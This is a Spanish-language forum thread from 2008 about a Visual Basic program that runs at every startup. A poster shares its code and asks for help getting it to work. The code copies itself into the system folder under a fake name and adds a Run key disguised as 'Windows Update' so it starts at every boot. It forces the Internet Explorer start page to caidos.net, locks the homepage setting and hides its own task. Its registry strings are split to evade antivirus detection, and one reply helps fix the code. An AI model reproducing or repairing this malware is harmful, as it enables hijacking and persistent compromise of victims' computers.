Título: Un bicho cada ves que prenda mi pc secion AYUDA Publicado por: arnoldz en 23 Diciembre 2008, 22:10 pm Bueno aqui tengo un scrip q cada ves q se inica mi pc se activa haciendoq cambie mi pagina de inicio me funciona corectamente
pero este scrip anda mescaldo con otro solo quiero sacar loq es pagina de inicio como lo puedo hacer: Private Sub Timer5_Timer() If Not Inet1.StillExecuting Then Call MyButton_Click Timer5.Enabled = False End If End Sub Private Sub Timer6_Timer() Dim win Dim sys Dim residencia On Error Resume Next ejec = App.Path If Right(ejec, 1) <> "\" Then ejec = ejec & "\" ejec = ejec & App.EXEName & ".exe" Set obj = CreateObject("Scripting.FileSystemObject") Set win = obj.GetSpecialFolder(0) Set sys = obj.GetSpecialFolder(1) win = LCase(win) sys = LCase(sys) FileCopy ejec, sys & "\halo2" Name sys & "\halo2" As sys & "\htdschk.exe" Set residencia = CreateObject("WScript.Shell") residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe" residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://caidos.net/" residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://caidos.net/" residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "1" residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://caidos.net/" App.TaskVisible = False End Sub Private Sub Timer7_Timer() Open Label3.Caption & ".txt" For Binary As #1 Close #1 Shell ("attrib " & Label3.Caption & ".txt +s +h +a"), vbHide Timer7.Enabled = False End Sub Public Function TranslucentForm(frm As Form, TranslucenceLevel As Byte) As Boolean SetWindowLong frm.hwnd, GWL_EXSTYLE, WS_EX_LAYERED 'hacemos invisible el form SetLayeredWindowAttributes frm.hwnd, 0, TranslucenceLevel, LWA_ALPHA TranslucentForm = Err.LastDllError = 0 End Function bueno hay ma codigo pero pienzo q es lo principal Título: Re: Un bicho cada ves que prenda mi pc secion AYUDA Publicado por: Novlucker en 23 Diciembre 2008, 22:19 pm Lo de las páginas de inicio esta hecho modificando las llaves del registro, esta aquí :P
Código
La tercera línea no cuenta, pero lo dejo para que ubiques el fragmento de código Saludos P.d: sugerencia: utiliza etiquetas geshi Título: Re: Un bicho cada ves que prenda mi pc secion AYUDA Publicado por: arnoldz en 23 Diciembre 2008, 22:36 pm bueno si entiendo eso loq pasa es q todo el scrip q te paso ahi no funciona nesesito hacerlo funcionar
Título: Re: Un bicho cada ves que prenda mi pc secion AYUDA Publicado por: Novlucker en 23 Diciembre 2008, 22:47 pm Es que si te fijas, las cadenas comienzan por residencia, que se supone que sea residencia :huh:
Por lo que veo estas accediendo a archivos y modificando el registro con vbs, sería mejor hacerlo en VB puro :rolleyes:, pero si lo vas a hacer así agrega esta línea Código
Eso ponlo debajo de ... Set obj = CreateObject("Scripting.FileSystemObject") y ya debería de funcionar Saludos Título: Re: Un bicho cada ves que prenda mi pc secion AYUDA Publicado por: LeandroA en 23 Diciembre 2008, 23:50 pm Hola, este moco es para que no lo detecten los antivirus?
Código: "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\" & "M" & "icrosoft\Window" & "s" & "\Current" & "V" & "ersion\Run\" & "Windows Update", sys & "\htdschk.exe" Título: Re: Un bicho cada ves que prenda mi pc secion AYUDA Publicado por: ~~ en 24 Diciembre 2008, 15:08 pm Pues me supongo que si, por que si no menudo código más feo.. xDDD
|